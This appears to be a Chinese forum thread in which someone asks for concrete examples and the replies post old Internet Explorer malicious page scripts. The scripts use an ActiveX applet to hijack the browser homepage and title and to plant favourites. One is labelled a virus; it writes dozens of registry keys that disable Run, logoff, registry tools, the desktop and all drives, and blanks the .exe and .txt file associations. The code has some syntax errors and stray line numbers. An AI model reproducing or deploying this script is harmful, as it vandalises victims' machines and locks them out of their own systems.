最好能有具体例子,多谢!
---------------------------------------------------------------
document.write("
1<applet code="com.ms.activeX.ActiveXComponent" height="0" width="0"></applet>
");
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
//ActiveX 初始化
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (document.cookie.indexOf("Chg") == -1)
{
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//设置Cookie完毕
//设置主页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.blue-online.net/");
//修改浏览器的标题
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你的Internet Explorer已经被修改过了 blue-online.net");
//设置Cookie
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
AddFavLnk(loc, "蓝色在线——注册表中转站", "http://www.blue-online.net");
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
init(); ---------------------------------------------------------------
这是一个病毒代码,用于修改注册表
function f()
{
try
{
//ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
//set home page
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://ok989.ok999.net"); //设置起始页
//end set home page
//Write Regedit
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY"); //
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "67108863", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDesktop","00000001","REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
Shl..RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "★魔界鬼域★");
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "★天地无情。死不瞑目★");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\\SchedulingAgent","","REG_SZ");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSaveSettings",00,"REG_BINARY");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoViewContextMenu",01,"REG_BINARY");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoTrayContextMenu",01,"REG_BINARY");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ScanRegistry","","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\open\\ddeexec\","rem [ViewFolder(%l, %I, %S)]","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\Folder\\shell\\explore\\ddeexec\","rem [ViewFolder(%l, %I, %S)]","REG_SZ");
Shl.RegWrite ("HKEY_CLASSES_ROOT\\CLSID\\{01E04581-4EEE-11d0-BFE9-00AA005B4383}\\InProcServer32\","C:\\Windows\\System\\Browseui.dll-","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.inf\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.exe\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.com\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.txt\","","REG_SZ");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Software\\CLASSES\\.reg\","","REG_SZ");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun","00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_LOCAL_MACHINE\\Enum\\PCI\\ChannelOptions",02,"REG_BINARY");
Shl.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Restrictions\\NoBrowserClose","01", "REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\NoDevMgrPage","00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetFolders","01000000","REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFind", "00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoFavoritesMenu", "00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRecentDocsMenu", "00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetTaskbar", "00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\RestrictRun","00000001", "REG_DWORD");
Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\stimeformat","HH:mm:ss tt","REG_SZ");
Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\s1159","★绝情魔界★","REG_SZ");
Shl.RegWrite ("HKEY_CURRENT_USER\\Control Panel\\International\\s2359","★绝情魔界★","REG_SZ");
//end Write Regedit
document.write("
1<body bgcolor="#FF0000">");
2document.write("<h1>天地无情。死不瞑目</h1>");
3}
4catch(e)
5{
6document.write("<body bgcolor="#FF0000">");
7document.write("<h1>天地无情。死不瞑目!</h1>");
8}
9}
10catch(e)
11{
12document.write("<body bgcolor="#FF0000">");
13document.write("<h1>天地无情。死不瞑目</h1>");
14}
15}
16
17function clean()
18{
19setTimeout("f()", 1000);
20}
21
22clean();
23*/
24<script language="JavaScript">
25<!-- Begin
26if (this.name!='fullscreen'){
27window.open(location.href,'fullscreen','fullscreen,scrollbars')
28}
29// End -->
30</script></body></body></body>